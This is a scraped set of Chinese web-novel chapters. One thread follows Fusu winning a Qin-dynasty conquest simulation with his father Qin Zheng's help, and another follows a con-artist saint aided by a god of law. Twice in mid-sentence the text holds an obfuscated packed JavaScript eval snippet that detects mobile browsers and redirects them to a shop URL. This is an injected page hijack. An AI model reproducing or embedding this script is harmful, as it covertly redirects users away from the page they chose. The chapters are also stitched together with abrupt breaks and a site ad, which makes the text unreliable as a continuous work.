扶苏结束攻魏后,便开始专心在楚国搞挑拨。有了外力插手,楚国的内部矛盾愈演愈烈,很快就彻底爆发了。 秦国一直在等待时机,等的就是这个时候。 探子消息一传出来,秦国驻扎在魏地看似只是维持魏地秩序的军队就调转马头,就近攻向楚国。 楚国被打了个措手不及。 秦国攻楚的时候,在咸阳为质的燕国 太子燕丹正在密谋逃回燕国。 秦国的动作也太快了。 燕国出于军事目的把太子送来大秦为质,以示友好,想要维持住盟友关系。但燕丹认为秦国野心太大,自己这个太子留在秦国只会成为燕国的掣肘。 所以他必须要逃,他得逃回燕国去,避免秦燕开战时燕国束手束脚。 扶苏听到这番言论时,脸上露出了迷惑的表情。 啊? 扶苏觉得燕王喜应该不会管他儿子死活的,燕丹属实是想多了。 但这不重要,反正人是不能放的。 人放走了,回头他又搞个荆轲刺秦怎么办? 虽然这会儿荆轲不一定在燕国,或许燕丹招揽来的会是别的什么人。可正因为会换人,才更不能放他走。 荆轲毕竟是个二流刺客,万一来个特别厉害的,扶苏可不想因此翻车。 扶苏下令: “盯紧了他,要是他像楚考烈王昔年那样成功逃回国去了——” 扶苏的话没说完,臣属已经懂了王上的意思。 燕丹跑了,他们就死定了。 反正现在也不用给燕国面子,直接把人软禁起来也无所谓。 扶苏的重点还是放在楚国战场上。 因为秦国提前发动了攻楚战争,项燕带着长子前往迎战。 扶苏本来没觉得这件事有什么不对的,直到下线吃饭的时候随手搜了一下项家的情况。 扶苏忽然看到了一个数字: “项羽是秦王政十五年生的。” 秦政喝了一口汤: “你游戏里进行到十四年末了。” 虽然扶苏之前就说让韩王来给秦王庆贺二十五岁生辰,但古人做寿有时候是会讲虚岁的。 当时扶苏的角色压根没满二十五,他就是随便扯个借口。所以好几年过去了,也才二十七八岁。 扶苏的表情古怪: “不知道项羽是年末出生还是年初出生,如果是年末,那他爹跑来打仗没空和他娘相处,项羽就被蝴蝶掉了。” 万万没想到,解决反秦领头羊的方法还能够如此的朴实无华——不给项羽出生的机会。 扶苏上线之后就迫不及待地派人去调查项燕的长媳怀孕了没有,探子虽然不知 道上头为什么要查这个但是几个月后还是回复了“并未”的结果。 扶苏: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555257|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服了。 扶苏对项羽很有意见他还特意扒拉出了项羽的记载给父亲看。 “阿父你看这个沐猴而冠。” 秦政瞥了一眼。 这个典故说的是项羽烧毁咸阳后有个韩生和朋友感慨“听闻楚人沐猴而冠如今一看果然如此”嘲讽楚国人是猴子戴了人的帽子。 项羽得知后大怒把韩生给烹了。 虽然地图炮不可取但扶苏觉得韩生说的有道理部分楚国人确实粗蛮——特指项羽。 秦政看完有些无奈: “沐猴而冠原是楚地的祭祀习俗他们会在祭祀活动中佩戴上猴形帽子并非讽刺之言。” 楚地的信仰繁杂祭祀也充满了上古风格。韩人不明真相拿这个来讽刺项羽项羽自己竟然都不知道自家的传统也认定了这个词是讽刺楚人的就很难评。 扶苏轻笑了一声: “毕竟项羽不爱读书。” 对扶苏来说攻下六国的难度不大。毕竟他走偏的时候还有父亲会出声指点他。 扶苏认为更大的挑战应该是后续推行大一统政策那会儿。毕竟治国明显比打仗要难尤其是这方面的记载并不详尽。 秦国怎么攻下六国的史书写得清清楚楚。但是始皇帝怎么详细推行大一统的史书里就没了 扶苏抄作业顶多抄一抄政策内容。 可是内容谁都知道能不能施行下去就是两码事了。那么多厉害的变法者他们提出的好政策多如牛毛真正成功推广的不到十分之一。 扶苏这天上线的时候做好了应对地狱级困难的准备结果真正开始推行他发现难度反而不如前头灭六国大。 因为游戏压根推演不出这么大体量的国家运行它只能以事件的方式时不时跳出来一个危机要求扶苏挨个解决。 而解决这些危机扶苏又不知道为什么特别顺手。 扶苏玩着玩着都开始怀疑人生了: “阿父我为什么这么熟练?” 秦政陷入了长久的沉默。 你为什么这么熟练你问我有什么用?我怎么知道我 是你爹又不是你肚子里的蛔虫。 太子殿下当然熟练这个了。 毕竟他从小就是冲着治国守成上培养的,比起打仗,这方面才是他的本职。而且扶苏多年下来,治国的时间比插手打仗的时间不知道多了多少倍。 所以和其他玩家体验游戏时感觉到的灭六国比后续治国简单相反,扶苏反而觉得后面的简单多了,甚至很多时候都不需要父亲指点。 扶苏有些小得意: “我一定是个天才!” 秦政还没来得及说什么。 小天才就迎来了他虚拟儿子的登门。 公子扶苏前来给父亲请安,系统直接按照扶苏的长相生成了一个幼年版。 扶苏自己是不怎么想见这个同名“儿子”的,他觉得有点别扭。这小子和他长得也太像了,让他感觉怪怪的。 尤其是他爹每次看到小扶苏NPC都挪不开眼,让某人感受到了强烈的危机。 偏偏扶苏又不能把小孩丢一边去不管,因为游戏最后一关是考验他培养的继承人合不合格。如果他放养了小崽子,回头秦二世干得太差,他会被扣分。 前头辛辛苦苦那么久,总不能临门一脚功亏一篑吧?所以扶苏还得时不时去看看他,亲自教导一番。 准确来说,是在父亲的指点下教导。 现在小孩已经十多岁了,有了未来谦谦君子的模样。但是性格和扶苏不太像,更像历史上那位长公子。 这应该是系统预设的性格。 扶苏就意外地发现,小孩性格鲜明起来之后,他爹反而没以前那么偏爱了。可见他爹就是想看儿子变小的模样,不是对NPC假人有兴趣。 扶苏对此非常满意。 不仅满意小孩无法和他争宠,同样也是在满意这孩子的处事作风。 扶苏私下里和父亲嘀咕: “我又霸道又缺德,可不能有个跟我一样的继承人。小公子那样就挺好的,等他继位了,臣民一定会感激涕零,非常珍惜这么温柔善良的秦二世。” 秦政:…… 秦政心道你也知道你自己又霸道又缺德,如果说秦始皇只拉到了天下一半人的仇恨,你就是拉到了全部仇恨值。 ——证据在扶苏遭受的刺杀比秦始皇还频繁。 以前六国余孽刺杀嬴政,妄图复国是重点,报仇泄愤是其次。现在六国余孽刺杀扶苏,复不复国已经不重要了,他们就想泄个愤。 整整一个礼拜的游戏,扶苏终于打通关了秦朝模拟,拿到了闪亮亮的全S成就,获得了最终的S+评分。 扶苏特意把全程录屏都保存了下来。 这可是他的辉煌战绩。 不过扶苏很矜持的没有把录屏拿出去炫耀,他感觉容易被骂缺德鬼。所以他只是在论坛里贴出了他的S+,低调地炫耀了一番。 下面的回帖基本都是:「???」 「这游戏没法玩了,大佬不用金手指都能打出S+,而我,连通关都困难。」 「大家不要气馁,我听说这个关卡只要通关了就有至少S级评分,所以S+只是比S级高一点点而已。」 「说得好像我能通关一样」 「那是高一点点吗?那是高出少说4个S级的阶段评分!人家拿的是5S!」 「我觉得还是全阶段S级比较变态」 「我不理解,什么人能在最后一个阶段拿到S,他甚至解决了继承人问题!」 「毕竟手握史书剧透,难度原地降低90%」 「你说的也有道理」 扶苏打完通关后就跃跃欲试想尝试开几个金手指进去玩,但是他很快发现没什么意思。 模拟器只是模拟器,金手指使用起来十分死板僵硬,只能按照固定模式来。如果真正的皇帝拿到金手指,肯定会自由发挥的,可游戏里没法自由发挥。 扶苏只好遗憾地把金手指的简介都翻了一遍,自己在脑内推演一下自由度高的话拿到了可以怎么用。 秦政对这个课题也很感兴趣。 父子俩整天闲暇时间就聊这个,听得偶尔上门拜访的花有缺很快就打消了过来找虐的想法。 太高深了,听不懂。 不知道是不是日有所思夜有所梦,这天秦政夜里入梦就梦见自己化身成了始皇帝。但他没有拿到任何金手指,只是单纯的重生了而已。 他第一时间去后宫寻儿子,却被天上亮起的白光灼得险些睁不开眼睛。待白光褪去,便是一方天幕高悬于空中。 秦政睡醒睁开眼,揉了揉眉心。他怀疑自 鹅小说的域名qiexs∵(请来企 鹅小说 看最新章节 完整章节) 第 244 章 干爹 第244章干爹 扶苏顺手把脑袋上碍事的王冠摘下来丢到一边,又嫌弃地拽了拽头发上的其他装饰品。 出门前婢女把他上上下下打扮了一通,要不是他长得好看,现在就是一个单纯的首饰架子。 戴这么多东西,丁零当啷的,碍事不说,卸起来还特别麻烦。不过效果确实很不错,透过银镜看起来特别高贵。 扶苏坐在梳妆镜前,打量镜子里陌生的自己。 扶苏透过镜子看向那个男人: “你要是没有骗我的话,这个世界可就太有意思了。秩序之神是邪神,我这样的骗子却成了光明教廷的圣子,天下人的信仰就是个笑话。” 秦政走到他身后,和镜中的圣子对视,目光透过对方清澈的瞳孔看到了他的过去。 那是一个来历不明的少年人。 他有意识以来就出现在了人类公国的某个小镇外,不知道自己来自何方,也不知道自己身份为何。 他是一个黑户,但他并不害怕。 少年选择进入小镇,在士兵盘问他来历的时候,他欺骗了士兵。 他说自己是来自遥远大国的王子,母亲在和其他女人的斗争中被父亲厌弃。父亲想要杀死他和母亲,只有他逃了出来。 士兵看到他通身的贵气,相信了他的谎言,并将他护送到了国王面前。 国王热情地接待了他,想从他的嘴里打探到大国的情况。 国王的国家实在是太小了,镇子就是它唯一的城邦,它很需要来自大国的情报。又或者,如果少年能提供一些邻国的情报也是好的,国王可以从邻国获取一些好处。 少年什么都不知道,但是这并不能难倒他。他只需要微笑着听国王讲述,然后给出肯定或否定的回答。 如果国王提供了足够的信息,他会从中分析出一些内容,言之有物。 如果国王给的信息不足,他会看透国王的真实偏向。在国王询问“我是否应该如何如何”的时候,给出国王最想听到的答案。 少年因此被该国奉为座上宾。 可这还不够,这个国家太小了,不能给他提供足够优渥的待遇。于是他很快借着它当跳板,前往了更有权势的大国。 之后的一路,少年就这么通过欺骗,一步步成为了分教廷这一次的推举人。 在各国辗转的话,谎言总有被拆穿的一天。去教廷,则可以过上稳定的优渥生活,再没有人敢探寻他的过往。 哪怕教廷的华丽下全是肮脏,可这和少年又有什么关系呢?脏污沾染不到他身上,他可以轻易应付过去。 即便今日没有成为圣子,来日他也会是权势滔天的主教。 扶苏确实没有自污,他就是个彻头彻尾的骗子。从欺骗守门士兵开始,他就没有说过几句真话。 秦政和他对视,他不躲不闪。 旁人很难从这样一个人身上看出他的真面目,因为他的高贵气质不像装的,他的聪明头脑也是真实存在的,他还情商超群、非常容易获得他人的喜爱。 哪怕面对一位来历不明的神,他也能泰然处之,不露出一丝畏惧。 片刻后,秦政轻笑了一声。 这位神明慢条斯理地说: “光明教廷本就是一个巨大的骗局,既然如此,一个骗子成为圣子,岂不是正正合适?圣子之位,合该是你的。” 扶苏缓缓挑起眉: “说的也是。” 秦政把手搭在他的肩膀上: “不过我也要纠正你一件事。” 扶苏愿闻其详。 秦政说道: “虽然我的神位是秩序与法度,但重点不是秩序,而是法度。” 再癫狂的世界也有属于它自己的秩序,只不过那个秩序不一定是追求安稳的平民想要的。唯有法度,才是重塑秩序的必要条件。 不过这个神位本身也存在着一点小小的问题,如果诞生的神明不是什么好东西的话,只会成为贵族的帮凶。 扶苏很快想明白了这里头的关窍。 公正严明的法律和偏颇极端的法律都是法律,法度本身就是一个中性词,需要有前提条件来界定它的偏向。 扶苏微笑着说: “这个世界上的人,自然是平民比贵族多。” 想要获取信仰,就不能舍弃平民。 秦政故意和他唱反调: “但贵族可以管束平民,给神明省很多麻烦。” 扶苏不为所动,颇为冷酷地说: “这个世界上不需要贵族有被洗脑的教廷就足够了。” 秦政被他逗笑了: “你说的对。” 贵族会因为自己的利益做出恶心的事情教廷里的神职人员虽然也会可那是因为神明的放纵不作为。 如果换成一个会严肃约束下属的神明和一群狂热的信徒事情就会变得很不一样。而且神本身就有制定规则的能力在神力的监督下这些人自然没有本事偷偷搞小动作。 秦政伸手温柔地替少年取下纠缠住了头发难以自己解开的发饰。 他对少年人发出了邀请: “要不要做我的第一个信徒?” 扶苏垂眸回避了他的眼神: “再说吧。” 虽然公正严明的法度听着非常令人动心但谁知道这位神明到底是不是个好神明呢?上来就对人用蛊惑术的能是什么正经神明。 扶苏按住了自己心底的动摇冷漠地表示自己是个没有信仰的人。 他强调道: “我不会信奉任何神明。” 所以不用在他身上浪费心思合作可以妄图把他发展成信徒就免了。 秦政很好说话的点头: “可以那你就当一个不信仰我的信徒好了这样也很有意思。” 他看少年的眼神带着一丝纵容像是长辈在包容任性的孩子。扶苏对此只当没看见他是不会为了所谓的自尊闹腾的。 被当成小孩就当呗只有内心不够强大的人才会害怕被人轻视 真正成熟的政治家只会下意识评估这一点对自己有什么好处能否利用。 扶苏立刻调整了对待神明的态度。 他乖巧地微微仰起头: “可以帮我把发饰都取下来吗?法度之神阁下?” 少年怀疑这位神明把他当精致的小娃娃了对方或许存在泛滥的父爱总想出去捡几个孩子养。自己恰好对上了他的喜好所以完全可以装乖获取更多的怜惜。 有一个神明愿意时时刻刻关注他对他来说百利而无一害。这样无论是谁想对他不利哪怕是光明神蹦跶出来了也有人为他撑腰。 扶苏决定做一个任人打扮的洋娃娃。 神明果然答应了。 他很有耐心地为少年一件件取下发饰,并不觉得这就应该是侍女的活。就像家长亲自为自家的孩子装扮时,也不会觉得这是在自降身份一样。 秦政摸了摸他顺滑的黑色长发: “还是这样的发色好看。” 他瞧着外头随处可见的金发红发反而觉得没那么顺眼。 但扶苏的长发披散在身后,看起来又感觉少了点什么。这样太过散乱和私密了,该是睡眠时的装扮。 秦政下意识伸手将头发拢起来,觉得这样好很多。 扶苏没去管他在做什么,自己伸手把衣服上的配饰取下来,然后开始解胸前的扣子。 秦政替他拿来了宽松舒适的睡衣。 扶苏回头: “多谢阁下。” 秦政忽然想起来他还没有介绍自己的姓名,倒是少年的名字,他从对方的记忆中获取了。 秦政说道: “吾名秦政。” 扶苏点了点头: “好的阁下,我记住了。” 然后就没有然后了。 知道了神明的姓名也没什么用,他又不可能直呼其名。最后还是要使用敬称,没什么区别。 秦政不太高兴,他不是很喜欢现在的称呼。可不这么叫的话,又能怎么叫? 不等他想出个结果来。 扶苏脱下了华丽的礼服,露出单薄纤瘦的身体。秦政皱起眉,再顾不上称呼的问题了。 神明捏了捏少年的手臂: “这也太瘦了。” 细胳膊细腿的,没有了衣服的遮掩,一下子暴露了个彻底。身上就没有几斤肉,比皮包骨头也就好那么一点点。 因为很多地方都能看出来,皮肤和骨骼之间没有太多的脂肪。就薄薄一层的肉,勉强遮掩住了骨头的形状,整个人瘦得厉害。 扶苏不以为意: “圣子都是这样的,因为光明神那个老东西喜欢白幼瘦。” 说到这里,他顿了顿,问了一句: “阁下应该不像光明神那么老吧?” 万一骂的“老东西”这句误伤了友方神明那可就不好了。 秦政给少年身体里输送了一些神力,替他将些许的营养不良 补足。然后才回了一句自己很年轻,绝对不属于老东西的范畴。 可不是年轻么,刚诞生没多久。 扶苏拿过睡衣披上: “希望你的喜好能够阳刚一点,我可不想再过上减肥的日子。” 天晓得他最初的时候身体还是比较健康的,虽然不至于像肌肉男那样伟岸,身上至少还有些肉。 这几个月吃的全是清汤寡水,硬生生给他饿瘦了。那些公国的国王日子过得也不怎么样,吃是能吃得饱,但想要吃得好纯属做梦。 先不说古代西方低下的生产力了,生产水平压根比不上华夏。就光说他们的王公贵族,只有区区一个小镇当领地的国王就算想吃点好的也没那个条件啊。 所以扶苏跟着他们也只能吃点寻常的食物,这也是他非要努力往上爬的缘由所在。 ——你敢信区区国王天天只啃土豆? 土豆很好吃,但隔三差五才能吃上肉也太惨了。最初那位国王手下的小镇压根就没多少人,加上周边的村落,可能也就一万出头的人口。 要扶苏说,别自称国王了,他没见过这么寒酸的国王。 如果说之前的国王只是单纯的没那个条件吃点好的,教廷就是纯粹的不给圣子吃好的。嘴上说着光明神喜欢纤细精致的孩子,然后忽悠圣子预备役都去主动减肥用外貌讨好光明神。 扶苏歪在床头慵懒地打了个哈欠: “原本我以为单纯只是光明神喜欢这种洋娃娃一样的未成年少男少女,现在看来远远不止,主教他们也喜欢。” 所以他们会继续pua修女和修士搞节食减肥,保持住“美丽”的身材。 “我还以为我选不上圣子,可以来教廷当修士,这样就能吃上饱饭了。结果这里的风气也那么糟糕,修女和修士都在自发地控制饮食,估计只能偷偷去外头的酒馆吃肉。” 说着又抱怨起当了圣子之后麻烦,肯定会被人天天盯着。想要偷溜出去吃点肉都不容易,一不留神就得被发现。 秦政耐心地听着少年人的抱怨,替他拉了拉被子。 听到这里,慈悲的神明表示: “下次我带你出去吃。” 扶苏眼前一亮: “那现在可以吗?” 一瞬间,困 意全消。 扶苏:听到吃夜宵我可就不困了! 秦政:…… 秦政不由失笑: “你不睡了?刚刚不还哈欠连天吗? 扶苏坐直身子: “可是我比起困,更饿。 秦政看着他已经换好的睡衣: “你这样也不方便出门。 扶苏根本不管,他光脚下床就去翻箱倒柜,誓要找出一件大黑斗篷出来。反正夜里烛光昏暗,他披着斗篷坐在酒馆里也没人能够看出端倪来。 他以前也偷溜去酒馆加过餐,对这些事情门清。 可惜翻了一圈,圣子的衣服不是白就是金,全是这类的配色,一看就是穿出去容易弄脏的款式。 小少年选择求助他的神明: “法度之神阁下,请赐予我一件黑袍。 秦政真是拿他没辙,轻轻一点扶苏的额头,少年就换了一套行头。不仅换上了更加舒适的黑衣黑袍,吃饭时会碍事的长发也被玄色发带扎在了身后。 扶苏走了两步,感觉脚上多出来的鞋子异常柔软,像踩在云朵上。他好奇地低头看了两眼,看不出材质。 秦政拉住他的手臂: “走了。 教廷所在的主城是大陆中最繁华的人类城市,哪怕到了深夜,这里也依然人流如织。 毕竟这里是大路上极少数的不夜城之一,夜猫子都爱在这几座城市聚集。二十四小时营业的酒馆热热闹闹,这个时间点依然满满当当的都是人。 一高一矮的两人低调走入酒馆,点了一些食物和酒水就在角落坐下。酒馆的老板娘只多看了高个子的男子一眼,没敢看他旁边穿着黑斗篷的少年。 因为在这个大陆上,一般只有黑暗系的法师或者黑暗神的信徒才会穿着黑色斗篷,还把自己裹得严严实实。 老板娘连少年人的脸都看不见。 黑暗系的人可得罪不起,老板娘于是额外送了一杯酒水过来讨好他。 秦政原本只点了一杯酒,因为他觉得扶苏身体不好年纪又小,不该喝酒。结果现在多了一杯,还是老板娘特意送给扶苏的,酒杯就放在扶苏面前。 扶苏伸手去拿餐具。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555258|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政以为他要拿酒喝,就像很多年轻人那 般稍微长大一点便会迫不及待去偷尝长辈们定下的禁果。 他捉住了扶苏的手。 扶苏疑惑地抬头看他: “怎么了?” 秦政用另一只手将酒挪到自己跟前: “小孩子不许喝酒。” 扶苏也没说自己对酒根本不感兴趣他一边想着神明阁下果然把他当小孩子照顾了一边乖巧地拿起刀叉。 他现在用这东西吃饭已经很熟练只是还有些不太适应。刀叉用起来比较麻烦但外面的餐馆是不会提供筷子的。 扶苏叉起一块切好的肉排塞进嘴里优雅地咀嚼起来。 在此之前他的刀叉只能去切水煮的土豆、莴苣、西蓝花等。不够锋利的餐刀切这个不好切不说叉也不好叉。 尤其是某一个国王年纪大了只能吃很软糯的食物。所以他每次都会让人把土豆煮到快变成土豆泥再用勺子挖着吃。 和他一起吃饭的人就倒霉了叉子一叉就碎根本叉不起来。客人总不好和他一样拿叉子当勺子使。 最后扶苏选择温柔地询问有没有奶油浓汤或者蔬菜汤然后用喝汤的勺子去吃土豆。 扶苏吃完一块肉排感慨道: “这家的食物味道还不错比我在之前的酒馆吃的要好。” 天晓得那边的酒馆提供的肉食有多难吃肉是腥臊的。因为那边的厨子做饭不太懂去腥使用的还都是野外打猎来的魔兽肉。 扶苏敢断定现在这家用的肯定是养殖的肉。不仅口感鲜嫩不像魔兽肉那么柴还没有魔兽肉特有的体味。 秦政并不饿看他吃完一份没饱就把自己面前的这份又推了过去。在老板娘路过时额外多点了几份其他的食物。 这家的食物给的分量不小 期间听见周围人在讨论最近森林里的黑暗生物似乎有些异动不知道是黑暗教廷又发生了什么变故。 扶苏没往心里去。 黑暗教廷有没有在背地里搞事情那是教皇需要关心的。他要当一个不谙世事不理俗务的圣子绝不插手这些乱七八糟的麻烦事。 吃饱喝足两人回到 教廷。 扶苏一键换回了原本的睡衣,忽然想起来自己还没洗漱。他叫来侍女询问沐浴清洁的事情,这才知道他的宫殿有一个暗门通向浴池。 侍女用虔诚的表情说: “这里的水是圣水,只有圣子殿下才能用圣池里的水沐浴。” 扶苏看着一点热气不冒的浴池,脸上的笑容险些维持不住。 你们教廷给圣子洗冷水澡啊?! 这是虐待! 得亏现在是初夏时节,天气没那么冷,大冬天岂不是要冻出个好歹来?而且侍女还说这水是从外头的圣池直接接过来的,也不知道干不干净。 毕竟那个圣池是露天的不说,出水口还在池子底部。取上头的清水他也就不说什么了,底部的沉水确定不会携带沉淀的灰尘脏污吗? 侍女要服侍扶苏沐浴,扶苏摆摆手让她出去了。 倒不是不好意思,被人侍奉着沐浴对他来说司空见惯。主要是扶苏又想把他的随身守护神cue出来了,他需要神明阁下的帮助。 秦政竟也不嫌他麻烦。 丢了一团神力进去,池子就变得温热起来,开始冒出袅袅青烟。终于对味了,扶苏迫不及待地入水。 然后回头对神明说: “你可以走了。” 秦政坐在池边看他用完就丢,好气又好笑。 扶苏却振振有词: “我在洗澡,你盯着我看不合适。” 就算是父母长辈也没有盯着人洗澡的道理,他又不是真的小孩子,洗个澡还能在池子里淹死。 虽然他这种十几岁的凡人在神明眼中可能和婴儿也差不多。 消失前,秦政丢下一句: “圣池里的水会自我洁净,不脏。” 年纪不大毛病不少,吃饭挑嘴也就算了,洗个澡还有洁癖。小人类真是难养,怪不得其他神明都不给自己找麻烦,要养也是交给信徒们代养。 秦政想,自己是时候多发展些信徒了。 这样以后扶苏要是不慎暴露真面目,被光明教廷赶了出来。自家好歹也能出人照顾少年,不用回回都让他亲自出马。 城市东边。 一名中年妇人麻木地蜷缩在角落里,闭上眼睛默数着数字。她只会从一数到一百,所以 她记住了每次数完十个一百后,丈夫就会停止对她的打骂。 丈夫今天又出去喝酒了,他只要一喝酒就会家暴,妇人早已习惯。 但是今天,情况不同。 妇人感受到身上的拳头提前停了,她诧异地睁开眼睛。就见自己的丈夫一张脸涨得通红,奋力挣扎也只能做出小幅度的动作。 丈夫就好像陷入了什么泥潭,周围都是看不见的粘稠淤泥,所有动作都被限制住了做不了。 而在她和丈夫中间,还有一个暗红色带着神秘光芒的古老文字在熠熠生辉。它漂浮在那里,很快从文字变成了一张精美的白纸。 白纸依然带着暗红色的花纹,神秘繁复又奢华。这一定是神明的杰作,可惜看起来不像是来自妇人信仰的光明神。 妇人震惊地坐了起来: “哦!天呐! 她想说一句“光明神在上,却又觉得这样可能会对不知名的神明产生冒犯,光明神从不会在她挨打的时候出来。 妇人曾经询问过教廷里的修女,对方怜悯的看着她,无奈地表示这是神对她的考验。是她曾经作恶太多,所以现在要受到这样的惩罚。 可是妇人左思右想也想不起来自己做过什么恶,或许是年幼时做的,已经忘记了吧。 纸张上开始出现一行行的文字。 那是妇人没见过的文字,她根本就不识字,但这不妨碍妇人读懂了它们的意思。就像之前漂浮的神秘文字,她也看懂了是“法。 当时她就在想:法?法术吗? 现在,她知道了。不是法术,而是法律。 纸张上的文字罗列出的是: 「第一条、凡伤害他人者,神明将处以双倍惩罚。」 在这个充满暴力的世界,丛林法则已经深入人心。惩罚从不会比加害更轻,很多人选择报复时反而会加倍返还,否则便觉得不够解气。 法度之神入乡随俗,没有记忆的他并未照搬秦律。 事实上秦律和当前位面也不适配。 大秦家暴施的是耐刑,也就是把胡子和鬓毛都刮了。这样的刑罚不是为了惩罚对方的肉-体,而是为了让他社死。 没有胡子和鬓毛的人,别人一看就知道他犯了罪,以后都会对他指指点点。有点像 第 245 章 神的惩罚 第245章神的惩罚 圣子殿下的小心思全都写在脸上。 秦政看着他狡黠的模样,没忍住伸手捏了一把他的脸。 扶苏立刻捂住了脸,就要控诉。 秦政把他拉起来: “还走不走了?” 扶苏被转移了注意力: “走,去哪里?” 秦政给他换了一身衣服,下一秒两人就消失在了宫殿内。 他们离开后,原地出现一个圣子的幻影,坐在大殿中央捧着小神像祷告。 来往的侍从们虽然看不见圣子殿下卧室中的情况,可像这种明堂一样的大殿,门是完全敞开的,可以看清里面的情况。 没有人发现扶苏离开了,也没有人敢去打扰正在祷告的殿下。 扶苏被换上了一身柔软的法师袍。 他跟着秦政深一脚浅一脚地走在草丛之中,好不容易才拐到土路上。 原本他还有些疑惑为什么不直接走土路,毕竟这里的草丛走起来实在不方便。 它不是那种扎扎实实的土地上一片高矮差不多的小草,而是各种乱七八糟的杂草纠缠在一起。 有些草会形成一个柔软有支撑的草垫,踩上去跟踩在棉花上一样站不稳。有些则完全独立存在,一踩就能踩中地面,高低落差挺大的。 扶苏好几次都因为过于柔软和高低落差险些栽倒,被秦政扶着才勉勉强强走了出来。 扶苏感慨: “没走过这么难走的路。” 这话很快就打脸了,他发现接下来的土路更难走。 村口的土路原本只有村民在走,顶多把沿路的草踩没了,露出相对平整的土地。没有工业时代汽车来往的情况下,土路的高低错落不会太大,靠双腿走是很难把路踩出一堆坑坑洼洼的。 但架不住最近村子里来了魔兽,魔兽大爪子一刨,就是一个坑。好好的路被它刨得七零八落,偶尔还有折断的树木挡在路中间。 扶苏看着被阻隔的道路,在思考是翻过去还是绕过去。秦政已经揽住儿子的肩膀,带着他轻飘飘地飞过去了。 扶苏意识到: “光明魔法还是太局限,我得多学点不同的法术。” 翻过大树,再往前一点就是村庄。 两人直接走进村子里。 村中的气氛不太好,家家户户都愁眉苦脸的。空气里隐隐传出血腥气,因为靠近村口的这家有个人在门口被魔兽袭击了,血撒了一地。 他家中传来了孩子的哭声,还有其他人劝慰的声音。 扶苏听到一位老者说: “你放心,你的孩子我们会帮忙照顾的。” 秦政低声说道: “里面有个人受伤快死了。” 扶苏立刻快步上前: “请让一让!” 屋内的人惊讶地扭头看向来人,就见一位俊美的贵族少年出现在门口,急匆匆朝屋内走来。 村民们下意识问道: “您是?” 扶苏身法利落地从人群的缝隙里穿过,很快来到伤者身边。他凝聚出一团光明神力输入对方体内,愈合了还在流血的伤口、也补足了他失血过多损失的气血。 刚刚说话的老者惊讶地说道: “您是光明教廷的神官大人!” 人群很快响起欢呼: “亚瑟!你的命真大!神官大人来救你了!小约翰!小珍妮!你们不用失去爸爸了!” 两个小孩子激动得哇哇大哭,扑在父亲床前发泄着自己后怕的情绪,根本顾不上感谢扶苏。好一会儿后才抽抽噎噎地说了句谢谢,还要给神官大人磕头。 扶苏扶住了两个孩子,伸手摸了摸他们的脑袋。 老村长赶紧过来拜见: “神官大人,真是太感谢您了!” 扶苏正要说什么。 外头有脚步声传来,伴随着呼喊: “村长叔!我见到圣子殿下了!圣子殿下答应会派圣骑士来解决村子附近的魔兽!以后再也不会有人因为它受伤了!” 老村长又惊又喜: “罗伯特!你说的是真的吗?!” 叫罗伯特的年轻人冲进屋子里: “当然是真的!我……!” 罗伯特看清了站在屋子里的人,顿时惊呆了。他不久前才见过的圣子殿下怎么出现在了村子里,他不会是在做梦吧? 年轻人当即就要行礼问安,扶苏伸手抵在唇间,做了一个“嘘”的手势。 罗伯特到嘴的话一顿,改成了“见过神官大人。 老村长看出了什么: “罗伯特,你认识这位大人? 罗伯特打了个哈哈: “之前在城中见过一次。 村里人七嘴八舌地告诉罗伯特,方才这位大人救下了亚瑟的命,罗伯特感激得热泪盈眶。 万万没想到圣子殿下听他说了村子里遇袭的事情之后,不仅没有袖手旁观,答应了派人前来解决魔兽,还亲自过来查探。 圣子殿下果然是个大好人! 扶苏冲他点了点头: “村里还有受伤的人吗? 罗伯特连忙回道: “有的!请跟我来! 扶苏去将伤患都治疗了一遍。 这个年代的普通平民是根本没有钱也没有条件治病的。 医生这个群体遭到了光明教廷的打压,因为他们会抢夺属于光明神的信仰。所有伤病的人除了购买昂贵的药剂外,唯一的选择就是去教廷祈求神官们的治疗。 一般神官会等到人病得很重时,才有可能愿意施以援手。 毕竟他们给人治疗用的方式是施展光明法术,但光明之力无法自己修炼,只能通过祷告获得。用一点少一点,就导致神官们都会非常吝啬。 平民哪里看得起病呢?都是硬熬着。 扶苏顺手给村里人治疗好了许多陈年的小病,然后才叫上罗伯特单独说话。 罗伯特强压着激动: “殿下,您怎么还亲自来了? 扶苏不着痕迹地看了一眼站在不远处的神明,微笑着告诉他自己不太放心村子里的情况,所以过来看看。 扶苏说: “我猜你们村子里肯定有受伤的人,需要我的帮助。 罗伯特感动坏了: “您无需自己来的! 扶苏摇了摇头: “其他神官不一定愿意走这一趟,我这次过来的事情你不要往外说,我是瞒着教廷偷偷来的。 罗伯特立刻拍着胸口保证自己绝对不会说出去,以后他就是圣子殿下最忠诚的信徒。 扶苏冲他微微颔首: “那我就先离开了,一会儿圣骑士会来,不能让他们看见我在。村里人你 们也叮嘱一番拜托了。” 罗伯特依依不舍地目送殿下离去而后赶紧去通知村民。他要怎么和村民说扶苏没太在意。 今天扶苏几乎给每个村民都帮了忙淳朴的村民们哪怕不记恩也不至于故意在圣骑士面前拆穿他。 而且扶苏已经感受到了来自村民们的信仰。 这是一种很神奇的感觉。 